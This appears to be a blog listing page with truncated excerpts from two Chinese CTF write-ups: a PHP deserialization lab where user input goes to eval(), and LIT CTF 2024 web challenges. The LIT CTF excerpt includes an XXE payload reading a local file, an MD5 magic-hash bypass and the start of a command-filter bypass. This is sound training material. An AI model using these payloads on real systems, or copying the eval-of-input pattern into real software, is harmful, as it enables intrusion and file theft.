helloctf 反序列化靶场

php反序列化靶场做题 level 2 <?php /* --- HelloCTF - 反序列化靶场 关卡 2 : 类值的传递 --- HINT:尝试将flag传递出来~ # -*- coding: utf-8 -*- # @Author: 探姬 # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com */ error_reporting(0); $flag_string = "NSSCTF{????}"; class FLAG{ public $free_flag = "???"; function get_free_flag(){ echo $this->free_flag; } } $target = new FLAG(); $code = $_POST['code']; if(isset($code)){ eval($code); $target->get_free_flag(); } else{ highlight_file('source'); } 从上往下 可控点位于$code = $_POST['code'];flag位于$flag_string根据代码可以修改class中的$free_flag值为$flag_string ...

December 27, 2024 · 10 min · 1999 words · neko

LIT CTF2024复现

好像有好多题目还没上传,现写上传了的 exx 经典带回显xxe漏洞 照抄payload: <?xml version="1.0"?> <!DOCTYPE as [ <!ENTITY f SYSTEM "file:///flag">]> <user><username>admin&f;</username><password></password></user> 值得注意的是,需要带file伪协议否则带不出来 百万美元的诱惑 源代码 <?php error_reporting(0); $a = $_GET['a']; $b = $_GET['b']; $c = $_GET['c']; if ($a !== $b && md5($a) == md5($b)) { if (!is_numeric($c) && $c > 2024) { echo "好康的"; } else { die("干巴爹干巴爹先辈~"); } } else { die("开胃小菜))"); } 重点是: if ($a !== $b && md5($a) == md5($b)) { if (!is_numeric($c) && $c > 2024) { 第一段做了一个判断,很明显需要做md5碰撞ab传参分别是a=QNKCDZO&b=240610708,第二个使用了is_numeric()函数判断不是数字的同时需要他大于2024,查了一下可以借url编码中的空字符绕过 最后得到 ?a=QNKCDZO&b=240610708&c=2025%20 得到一个文件名字./dollar.php,访问是下一模块 <?php //flag in 12.php error_reporting(0); if(isset($_GET['x'])){ $x = $_GET['x']; if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){ system("cat ".$x.".php"); } }else{ highlight_file(__FILE__); } ?> 看的出来通过preg_match过滤的大部分的字符,在网上查了一圈发现了一个神奇的方法,利用$()这三个字符就可以组成,逻辑大致如下 ...

June 7, 2024 · 2 min · 233 words · neko